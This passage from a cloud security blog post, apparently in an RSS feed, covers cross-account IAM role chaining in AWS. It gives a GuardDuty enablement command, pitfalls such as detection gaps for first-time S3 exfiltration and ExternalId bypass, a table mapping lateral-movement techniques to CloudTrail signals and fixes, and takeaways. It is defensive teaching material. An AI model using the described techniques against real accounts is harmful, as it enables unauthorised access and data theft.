<p>Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.</p>
<p>The <a href="/workload-identity-oidc-service-accounts/">federated identity trust boundaries approach using OIDC workload identity</a> removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no <code class="" data-line="">sts:AssumeRole</code> call in CloudTrail to detect because the assumption never happens.</p>
<h3 id="fix-6-enable-guardduty-cross-account-threat-detection-at-org-level">Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level</h3>
<p>GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.</p>
<pre><code class="" data-line=""># Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty update-organization-configuration \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --auto-enable \
  --data-sources &#039;{
    &quot;S3Logs&quot;: {&quot;AutoEnable&quot;: true},
    &quot;Kubernetes&quot;: {&quot;AuditLogs&quot;: {&quot;AutoEnable&quot;: true}},
    &quot;MalwareProtection&quot;: {&quot;ScanEc2InstanceWithFindings&quot;: {&quot;AutoEnable&quot;: true}}
  }&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>ExternalId doesn&#8217;t protect you if the source account is compromised.</strong> The attacker who holds the dev Lambda&#8217;s execution role credentials also has access to the Lambda&#8217;s environment variables and source code — where the <code class="" data-line="">ExternalId</code> value is likely stored. ExternalId is not a secret the attacker can&#8217;t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.</p>
<p><strong>Access Analyzer only catches public and cross-account access, not intra-account lateral movement.</strong> If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won&#8217;t show them.</p>
<p><strong>Role chaining resets the session clock but the window is still one hour.</strong> <code class="" data-line="">sts:AssumeRole</code> sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated <code class="" data-line="">AssumeRole</code> calls in CloudTrail that form a detectable pattern if you&#8217;re querying for it.</p>
<p><strong>S3 exfiltration may not trigger GuardDuty immediately.</strong> GuardDuty&#8217;s <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code> finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears &#8220;normal&#8221; relative to what GuardDuty has seen from that role before. CloudTrail <code class="" data-line="">GetObject</code> events are the reliable signal; don&#8217;t rely on GuardDuty alone for S3 exfiltration detection.</p>
<p><strong><code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> in a trust policy does not mean the root user specifically.</strong> This is a common misread. <code class="" data-line="">arn:aws:iam::123456789012:root</code> means any principal in account <code class="" data-line="">123456789012</code> — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it&#8217;s dangerous in a cross-account trust policy.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Lateral Movement Technique</th>
<th>CloudTrail Signal</th>
<th>Detection Tool</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code></td>
<td><code class="" data-line="">AssumeRole</code> where source accountId ≠ target accountId in role ARN</td>
<td>CloudTrail + Athena query</td>
<td>Scope Principal to specific role ARN</td>
</tr>
<tr>
<td>Account root as trust principal</td>
<td>Access Analyzer ACTIVE finding on IAM Role</td>
<td>AWS Access Analyzer</td>
<td>Replace <code class="" data-line="">root</code> with specific ARN + ExternalId</td>
</tr>
<tr>
<td>Role chaining across accounts</td>
<td>Multiple sequential <code class="" data-line="">AssumeRole</code> events, each with new session token</td>
<td>CloudTrail session correlation</td>
<td>SCP restricting cross-account assumptions to approved pairs</td>
</tr>
<tr>
<td>Exfiltration via assumed prod role</td>
<td>S3 <code class="" data-line="">GetObject</code>/<code class="" data-line="">ListBucket</code> from assumed-role session in CloudTrail</td>
<td>CloudTrail + GuardDuty <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>Least-privilege S3 policy on prod role + S3 Access Logs</td>
</tr>
<tr>
<td>IAM enumeration from compromised identity</td>
<td><code class="" data-line="">iam:ListRoles</code>, <code class="" data-line="">iam:GetRole</code>, <code class="" data-line="">iam:SimulatePrincipalPolicy</code></td>
<td>GuardDuty <code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Deny <code class="" data-line="">iam:*</code> on Lambda execution roles</td>
</tr>
<tr>
<td>Secrets Manager access via assumed role</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> from unexpected principal</td>
<td>CloudTrail resource policy audit</td>
<td>Attach resource policy to secrets scoping allowed principals</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network</li>
<li>Every cross-account trust policy that uses <code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do</li>
<li>CloudTrail <code class="" data-line="">AssumeRole</code> events where the principal&#8217;s account ID doesn&#8217;t match the target role&#8217;s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back</li>
<li>AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you&#8217;re not running it, you&#8217;re auditing trust policies manually or not at all</li>
<li><a href="/cloud-iam-privilege-escalation/">IAM privilege escalation paths</a> and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further</li>
<li>Defense in depth requires all three layers: scoped trust policy principal, <code class="" data-line="">ExternalId</code> condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 is where the series pivots from attack paths to detection engineering. We&#8217;ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?</p>
<p>The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the <code class="" data-line="">aws sts assume-role</code> subprocess spawn, the credential file write, and the outbound S3 connection — while it&#8217;s happening.</p>
<p>Get EP11 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&#038;title=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" data-a2a-url="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/" data-a2a-title="Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained"></a></p><p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1870</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-22 11:08:17 by W3 Total Cache
-->